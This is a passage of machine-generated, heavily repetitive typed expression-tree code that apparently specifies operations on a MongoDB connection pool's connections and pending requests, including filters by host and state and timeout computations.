TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), EUnaryOp('not', EBinOp(EUnaryOp('exists', EMap(EFilter(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EBinOp(EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), ECall('after', (EArgMax(EMap(EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '!=', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_returned').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), ELambda(EVar('x').with_type(TNative('mongo::Date_t')), EVar('x').with_type(TNative('mongo::Date_t')))).with_type(TNative('mongo::Date_t')), EVar('hostTimeout').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '-', EBinOp(EBinOp(EMap(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_expiration').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var433').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('_var433').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var434').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), 